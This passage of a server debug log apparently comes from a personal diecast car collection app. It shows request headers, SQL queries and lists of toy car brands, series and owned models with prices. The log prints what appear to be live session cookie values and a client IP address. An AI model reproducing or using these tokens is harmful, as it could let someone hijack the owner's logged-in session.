    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T09:08:01.381Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T09:08:01.384Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T09:08:01.385Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T09:08:01.385Z server-connect:app Executing action step identify
2026-02-04T09:08:01.385Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:01.385Z server-connect:output identity: 1
2026-02-04T09:08:01.385Z server-connect:app Executing action step restrict
2026-02-04T09:08:01.385Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:08:01.386Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T09:08:01.386Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T09:08:01.386Z server-connect:output restrict: undefined
2026-02-04T09:08:01.386Z server-connect:app Executing action step select
2026-02-04T09:08:01.387Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T09:08:01.387Z server-connect:app Executing action step identify
2026-02-04T09:08:01.387Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:01.387Z server-connect:output identity: 1
2026-02-04T09:08:01.387Z server-connect:app Executing action step restrict
2026-02-04T09:08:01.387Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:08:01.387Z server-connect:app Executing action step identify
2026-02-04T09:08:01.387Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:01.387Z server-connect:output identity: 1
2026-02-04T09:08:01.387Z server-connect:app Executing action step restrict
2026-02-04T09:08:01.387Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:08:01.387Z server-connect:app Executing action step identify
2026-02-04T09:08:01.387Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:01.387Z server-connect:output identity: 1
2026-02-04T09:08:01.387Z server-connect:app Executing action step restrict
2026-02-04T09:08:01.387Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:08:01.388Z server-connect:app Executing action step identify
2026-02-04T09:08:01.388Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:01.388Z server-connect:output identity: 1
2026-02-04T09:08:01.388Z server-connect:app Executing action step restrict
2026-02-04T09:08:01.388Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:08:01.389Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T09:08:01.390Z server-connect:output restrict: undefined
2026-02-04T09:08:01.390Z server-connect:app Executing action step select
2026-02-04T09:08:01.390Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T09:08:01.390Z server-connect:output restrict: undefined
2026-02-04T09:08:01.391Z server-connect:app Executing action step paged
2026-02-04T09:08:01.391Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T09:08:01.391Z server-connect:output restrict: undefined
2026-02-04T09:08:01.391Z server-connect:app Executing action step select
2026-02-04T09:08:01.391Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T09:08:01.391Z server-connect:output restrict: undefined
2026-02-04T09:08:01.391Z server-connect:app Executing action step select
2026-02-04T09:08:01.391Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T09:08:01.392Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T09:08:01.396Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T09:08:01.396Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T09:08:01.397Z server-connect:app Executing action step select
2026-02-04T09:08:01.397Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T09:08:01.399Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T09:08:01.399Z server-connect:app Executing action step select
2026-02-04T09:08:01.399Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T09:08:01.400Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
